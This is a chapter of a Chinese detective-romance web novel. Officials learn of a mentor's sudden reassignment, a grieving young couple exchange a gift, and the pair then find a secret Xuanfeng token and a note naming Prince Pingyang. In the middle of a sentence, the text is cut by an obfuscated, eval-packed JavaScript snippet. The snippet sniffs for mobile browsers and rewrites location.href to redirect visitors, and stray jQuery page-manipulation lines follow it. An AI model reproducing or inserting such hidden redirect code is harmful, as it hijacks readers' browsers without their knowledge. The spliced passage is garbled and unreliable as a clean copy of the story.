49. 第 49 章

作品:《青云昭昭(探案)

    案情说完,顾不上看他们几人灰败的面色,王崭正要抬手让他们散了,向来一言不发的李鹤忽然叫住秦艽。


    他平静地掷下一颗惊雷:“西北有变,你师父方才已离开卫所,调任左威卫大将军,随特使往魏州去了。”


    屋内一瞬安静的窒息,在场之人除了宋钰,脸上都露出难以置信的吃惊神色。像是不落忍,李鹤艰难道:“若你们仍有师徒缘分,他日相见我亦不阻拦。”


    薛灵玥目露担忧,本能的看向秦艽,他呆立在原地,清朗俊秀的脸上几乎是没有任何表情,半晌都没有作声。


    李鹤叹了口气,“你师父既不在,眼下又有更要紧的案子,幽州军的事,我安排他们将你替下来。”


    众人的视线随着看去,灯火交映,暗影浮动,秦艽似乎是想说些什么,但张着嘴愣了好一会儿,竟是一个字也说不出来。


    “大人,幽州军的案子还是交给我来罢。”宋钰上前半步,“北境的案子错综复杂,王大人处理卫中事务顾不开,凌霄又年轻,他们几人都少不了您从旁指点。”


    李鹤略一沉吟,“也好,那就这么办罢。”


    屋中紧闭的门扉打开,众人四散而去。


    幽暗的廊下,唯有高悬的灯笼发出微弱的光晕,在夜风中轻轻摇曳,照见少年单薄发颤的脊背。


    隔着数丈,王崭担忧的目光穿过廊柱,在秦艽的背影上转了转。他转过头来,长叹一声,轻声对薛灵玥道:“去罢。”


    月华如练,流光照君,最是患难才能得见真情。


    望着院中二人离开的背影,王崭几次犹豫,最终还是侧身半步,朝那与他一样立在檐下的黑影道:“过几日让他们一同去北境,你意下如何?”


    黑影一动,缓缓走到灯下,露出宋钰那张俊美无俦的脸。他轻叹道:“我也正有此意,与其留人在京中,还不如让御史台那帮人去斗,咱们只查案子。”


    两个先后被众人默认即将升任统领的指挥使一个下了大狱,秋后问斩;一个远赴魏州,自此离开长安。


    段霖失势是他自己作孽与王宋二人暗中推波助澜的结果,但宋景云一向洁身自好,绝不结党营私,为何同样毫无征兆的圣人摒弃?


    四周漆黑鬼魅,如怪物张开巨口,虎视眈眈地亟待吞噬。唯有宋钰与王崭站在灯下,不约而同照见彼此心头的疑云。


    檐下的灯晃了晃,那火光更暗,将王崭的面色照得明暗交错,半掩着沉静夜色之中。


    宋钰仿佛下定什么决心,“大人,晚辈能信您吗?”


    ............


    薛灵玥从未觉得什么时候像此刻一样难熬,仿佛许多事都在一夕之间改变了。


    她借着袖子的遮掩,安抚地摸摸秦艽的手,五月的天,他竟凉的像冰块似的。


    发僵的手指愣了愣,好半晌才回握住她的。


    两人走到小书房,点上灯,秦艽忽然道:“你不好奇,我给你准备的生辰礼物是什么吗?”


    声音微微发颤,连指尖都是抖得。


    她抿了抿唇,更加用力地握紧他的手,“你送什么我都喜欢。”


    一晚上发生这么多事,谁还记得生辰。如果明年的生辰还这么惊心动魄,那她宁愿一辈子都不过了,也许还能活得更长些。


    秦艽没松开两人紧握的手,面对着她,用另一只手掏出怀中的东西,轻声道:“本想听完戏送你的,还能顺便在外面试试。”


    他掌中是一个小巧精致的袖箭筒。


    它长约一拃,通体耀金,外壁装饰着云纹金银错,在光下熠熠夺目。


    这太贵重了。薛灵玥惊讶地抬起头。


    那双褐色的眸子像一汪浅浅的潭,湿漉漉的,正温柔地看着她,“咱们身在卫所一日,便危险一日,我想来想去,还是最希望能保你平安。”


    薛灵玥不是娇弱的女郎,她大胆,肆意,率性而为。


    她想做的事,没有哪件是轻易的。


    他最大的心愿,是她余生平平安安。


    薛灵玥想到什么,松开二人相握的手,翻看箭筒内侧。光影昏暗处,果然见平整细密的针脚四四方方绣了两个字,“平”“安”。


    她恍然怔住,如同被重锤狠狠一击,心里懊悔万分,他惦记着她,担忧着她,她却受师父的安排,一边瞒着他,一边在想该如何开口跟他分开!


    眼中涌出一串儿止不住的泪珠儿,薛灵玥扑进秦艽怀里。


    他的师父不在身边,孤立无援的滋味她尝过无数次,这种时候,她怎么能只想着自己的前程。


    秦艽抚摸着她柔软的鬓角,把脸凑近她的肩窝,“哭什么,我都还没哭呢。”


    鼻间满是她温暖的馨香,秦艽忽然眼眶一热,滚烫的泪水顺着他的脸颊浸透她的衣裳。


    他的语气充满绝望,像溺水之人抓住浮木,“灵玥,你会离开我吗?”


    “不,不会,”薛灵玥哽咽出声,小脸被道道泪水打湿,她喑哑着抱紧他,“我不会离开你的。”


    秦艽茫然地盯着虚空,眼中满是信赖与眷恋的爱意,他低声恳求,“你再说一次好不好?”


    “我不会离开你的,”薛灵玥止住了泪,一遍又一遍地向他保证。“我不会离开你的。”


    秦艽喟叹着拥紧了她,沉默的热泪淌进她的发间,喃喃低语,“这是你说的,灵玥,你答应我的。”


    “嗯,我说的。我答应你。”薛灵玥道。


    许久之后,她才微微后退几寸,抬起自己的小臂,“我好喜欢这袖箭,你帮我戴上看看。”


    他听话地慢吞吞打开袖筒,珍之又珍的小心替她系好,末了握住她的手,两人同时抬起头,看清彼此脸上的泪痕。


    秦艽心疼地擦擦她的脸蛋,“别哭了,是我不好,又惹你哭。”


    他何错之有,薛灵玥心虚的垂下头,暗道自己差点就要像宋大人一样弃你而去了。


    好在此刻尚且为时不晚,她必须,也一定能再想到别的办法,她不能丢下他。


    薛灵玥靠过去,学着晌午秦艽的样子笨拙地哄他。


    “灵玥,你知道吗,方才有一刻,我真恨极了他……”他轻轻把人拢在自己怀里,她柔软的身子倏一贴上,秦艽鼓噪的心仿佛立时安稳下来,“师兄都知道,却唯独瞒着我,我不明白,他为什么要把我丢下,甚至……我都没再见他一面。”


    薛灵玥窝在他怀里,不免有些愧疚:“也许他不是不想见你,是因为你陪我过生辰去了。”


    “不会的,师父想让我做的事,只要我还能喘气儿,他就不会让步。”秦艽两手交叠,将她往怀中扣得更紧。


    怀中的身子忽然一僵,秦艽还以为是自己把她勒疼了,正要揉揉,薛灵玥挣开他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623612|185359||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的胳膊,仰着脸,黑漆脆亮的眼睛像两颗葡萄:“如果,我是说万一,他其实给你留了东西呢?”


    “你是说……”他的眼睛慢慢睁大,晦暗的眸子里迸发出光亮。


    两人擦净脸上的泪痕,片刻不犹豫,立马摸出门去。


    先去书房,秦艽的理由是宋景云总在那儿训他,罚他在门外扎马步,时日久了,他平日恨不能绕着书房走,一看那扇门就两腿打晃。


    太师回衙,今夜的守卫明显比往常更精神。


    两人不敢掉以轻心,屏息躲过了三波巡逻的军士才撬开宋景云书房的大门。


    屋中摆设一如往常,堆积如山的公文摆放在案几两侧,太师椅背上挂着他常穿的那件袍子。仿佛它们的主人根本没有离开。


    秦艽走到花架前挨个翻找,轻车熟路地把每个匣子底下都掏一遍。


    忽得“咔嗒”一声,借着薛灵玥递来的火折,暗盒中掉出一个约半掌大的令牌。


    “真厉害,你怎么知道在这儿?”薛灵玥钦佩地拍了拍他。


    这也值当她夸,秦艽心里熨贴,随手打开令牌下的字条,“以前被师父罚,这架子上每个盒子都被我擦过好几回。”


    字条上笔迹凌乱,显然是宋景云在匆忙中写下的,只有三个字——“平阳王”。


    两人默了默,回到小书房,才将两样东西摆在一处细细观摩。


    这令牌通体乌黑发亮,顶部以玄凤为首,下面篆刻了密密麻麻的铭文,乃是武宁卫初立时就定下的规训。


    玄凤令。


    两人对视一眼,它是当年战时由圣人所制,象征着右卫最高级别的任务,此令一出,一切行动必须以玄凤为首。自从山河一统,天下安定,象征着左右卫的玄龙,玄凤两令已许久没有启用过了。


    “你说.....”薛灵玥犹豫着,“宋大人的意思,会不会是想指文皇后?”


    秦艽气息一滞,指腹无意识的摩擦着,双目盯着案上的玄风令。


    当年还是晋王的圣人被太祖皇帝委派为武宁卫统领,有女诸葛之称的晋王妃曾谏言,眼下战火离乱,用人之际,女子亦不输男子,理应再设一卫,取女子中武艺文史佼佼者,令武宁卫男女兼之,以左右区分。


    晋王深感认同,并将新立的右卫直接交与了晋王妃。


    故而这块玄凤令最初的主人,确实并非当今圣上,而是文皇后。


    后来她入主中宫,不便管辖,才委派了她的贴身侍女拂冬成为右卫第一任指挥使。


    但真正有资格使出这两张令牌的,只有天下之主。


    秦艽:“如果是指文皇后,师父写下平阳王是什么意思?”


    平阳王,太祖义子。其正妃是文皇后表姐,太祖朝时,晋王府与平阳王府曾一度关系甚密。


    他眯了眯眼睛,“难不成师父发现文皇后与平阳王——”


    他说罢,又立刻摇了摇头,“不对,师父为官多年,最清楚圣人的心意,不该犯下如此低级的错误。”


    敢对文皇后不敬,就是犯了圣人心中最大的忌讳。这片逆鳞一旦碰触,哪怕是两句流言,叫人死一百回都不够给娘娘谢罪。当年文皇后丧礼,只因哭得不够伤心,礼乐司员外郎便被革去官职,逐出长安。


    薛灵玥莫名觉得一股寒意直窜上天灵盖,下意识压低了嗓子:“那就是平阳王的死有异?”